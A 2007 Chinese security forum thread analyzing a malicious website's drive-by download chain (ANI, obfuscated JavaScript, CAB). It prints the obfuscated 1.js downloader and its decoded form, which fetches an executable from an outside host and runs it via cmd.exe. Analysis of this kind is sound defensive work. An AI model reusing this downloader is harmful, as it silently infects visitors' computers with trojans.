【完成】毒网分析1

jimmyleo

来源

http://bbs.kafan.cn/viewthread.php?tid=122891&extra=page%3D1

hxxp://pop.wzxqy.com/444/index.htm

==>frame
hxxp://cc.wzxqy.com/tt/index.htm
hxxp://cc.wzxqy.com/tt/1.gif[ani]hxxp://cc.wzxqy.com/tt/mm.exe
==>frame
hxxp://cc.wzxqy.com/wm/index.htm
hxxp://cc.wzxqy.com/wm/1.js==>hxxp://cc.wzxqy.com/tt/mm.exe
==>frame
hxxp://xx.wzxqy.com/wm2/index.htm
hxxp://xx.wzxqy.com/wm2/mm.cab[Unpack]mm.exe
==>frame
hxxp://a.wzxqy.com/wm/index.htm==>hxxp://a.wzxqy.com/wm/3.exe

mm太老了
最后个用了混淆……
晕……3 和 mm 一样的…… 不玩了……

[ 本帖最后由 jimmyleo 于 2007-8-26 16:42 编辑 ]

xqiafl

==>frame
hxxp://cc.wzxqy.com/wm/index.htm
hxxp://cc.wzxqy.com/wm/1.js==>hxxp://cc.wzxqy.com/tt/mm.exe

这个地方的地址不对哦！ 使用一点点加密，解密出来后下载木马地址：

http://cc.wzxqy.com/wm/mm.exe

第一个是ANI， 第二个是DNS，第三个使用的是CAB挂马，但事实，这种挂马根本无中马率！

本来再详细分析，看你已经发了，我就跟贴算了！
第一个GIF图片，这个ANI就算能下下来也没多大用处，一但被杀，就不好做免杀了。
第二DNS马直接从源文件里面就可以找的出来，是1。JS
1。JS里面包含一个DNS马： 代码：
function cZRfe(f9mmh2){var mECH63=Math.random()*f9mmh2;return'\x7E\x74\x6D\x70'+Math.round
(mECH63)+'\x2E\x65\x78\x65';}try{var s5uMT2="\x68\x74\x74\x70
\x3A";r5uMT2="\x2F\x2F";q5uMT2="\x63\x63\x2E\x77\x7A\x78\x71\x79\x2E\x63\x6F\x6D\x2F\x77
\x6D\x2F\x6D\x6D\x2E\x65\x78\x65";h2Sfe=s5uMT2+r5uMT2+q5uMT2;BZRfe="\x6F\x62\x6A\x65\x63
\x74";yZRfe="\x63\x6C\x61\x73\x73\x69\x64";zZRfe="\x63\x6C\x73\x69\x64\x3A\x42\x44\x39\x36
\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30
\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36";EZRfe="\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65
\x61\x6D";CckvV1="\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74
\x65\x6D\x4F\x62\x6A\x65\x63\x74";n2Sfe=(window["\x64\x6F\x63\x75\x6D\x65\x6E\x74"]["\x63
\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"](BZRfe));n2Sfe["\x73\x65\x74\x41\x74\x74
\x72\x69\x62\x75\x74\x65"](yZRfe,zZRfe);var t9mmh2=n2Sfe["\x43\x72\x65\x61\x74\x65\x4F\x62
\x6A\x65\x63\x74"]("\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74
\x2E\x58"+"\x4D"+"\x4C"+"\x48"+"\x54"+"\x54"+"\x50","");var S=n2Sfe["\x43\x72\x65\x61\x74
\x65\x4F\x62\x6A\x65\x63\x74"](EZRfe,"");S["\x74\x79\x70\x65"]=1;t9mmh2["\x4F\x70\x65\x6E"]
("\x47\x45\x54",h2Sfe,0);t9mmh2["\x53\x65\x6E\x64"]();tedHp3=cZRfe(10000);var F=n2Sfe["\x43
\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"](CckvV1,"");var AtAMT2=F["\x47\x65\x74\x53
\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72"](0);tedHp3=F["\x42\x75\x69\x6C\x64\x50
\x61\x74\x68"](AtAMT2,tedHp3);S["\x6F\x70\x65\x6E"]();S["\x57\x72\x69\x74\x65"]
(t9mmh2.responseBody);S["\x53\x61\x76\x65\x54\x6F\x46\x69\x6C\x65"](tedHp3,2);S["\x43
\x6C\x6F\x73\x65"]();var Q=n2Sfe["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"]("\x53
\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E","");RokwV1=F["\x42\x75
\x69\x6C\x64\x50\x61\x74\x68"](AtAMT2+'\\\x73\x79\x73\x74\x65\x6D\x33\x32','\x63\x6D\x64
\x2E\x65\x78\x65');Q["\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65"](RokwV1,'\x20
\x2F\x63\x20'+tedHp3,"",open,0);}catch(c9mmh2){c9mmh2=1;}

解密后：function cZRfe(f9mmh2){var mECH63=Math.random()*f9mmh2;return'~tmp'+Math.round(mECH63)
+'.exe';}try{var
s5uMT2="http:";r5uMT2="//";q5uMT2="cc.wzxqy.com/wm/mm.exe";h2Sfe=s5uMT2+r5uMT2+q5uMT2;BZRfe=
"object";yZRfe="classid";zZRfe="clsid:BD96C556-65A3-11D0-983A-
00C04FC29E36";EZRfe="Adodb.Stream";CckvV1="Scripting.FileSystemObject";n2Sfe=(window
["document"]["createElement"](BZRfe));n2Sfe["setAttribute"](yZRfe,zZRfe);var t9mmh2=n2Sfe
["CreateObject"]("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var S=n2Sfe["CreateObject"]
(EZRfe,"");S["type"]=1;t9mmh2["Open"]("GET",h2Sfe,0);t9mmh2["Send"]();tedHp3=cZRfe
(10000);var F=n2Sfe["CreateObject"](CckvV1,"");var AtAMT2=F["GetSpecialFolder"](0);tedHp3=F
["BuildPath"](AtAMT2,tedHp3);S["open"]();S["Write"](t9mmh2.responseBody);S["SaveToFile"]
(tedHp3,2);S["Close"]();var Q=n2Sfe["CreateObject"]("Shell.Application","");RokwV1=F
["BuildPath"](AtAMT2+'\\system32','cmd.exe');Q["ShellExecute"](RokwV1,' /c
'+tedHp3,"",open,0);}catch(c9mmh2){c9mmh2=1;}

[ 本帖最后由 xqiafl 于 2007-8-26 17:04 编辑 ]

jimmyleo

我开帖的目的么就是大家讨论讨论亚

jimmyleo

那个 我一看和上面一个MM是一样的 我就复制了一下 地址 没注意当中的不同……

solcroft

顺便问一下高手，网上有没有什么简单的解unicode或escape工具？

xxl

原帖由 xqiafl 于 2007-8-26 17:01 发表


这个地方的地址不对哦！ 使用一点点加密，解密出来后下载木马地址：

http://cc.wzxqy.com/wm/mm.exe

第一个是ANI， 第二个是DNS，第三个使用的是CAB挂马，但事实，这种挂马根本无中马率！

本来再详 ...

还没下呢，微点就弹出报警框，删除。

木马名称:Trojan-PSW.Win32.Delf.dvh
程序:
C:\DOCUMENTS AND SETTINGS\ADMIN\LOCAL SETTINGS\TEMPORARY INTERNET FILES\CONTENT.IE5\LRWJIG69\MM[1].EXE
是木马程序!
已成功阻止其运行,是否要删除此文件?

xqiafl

一般网马加密了，难得解密， 我最近也只学会了二，三种，会解的不多！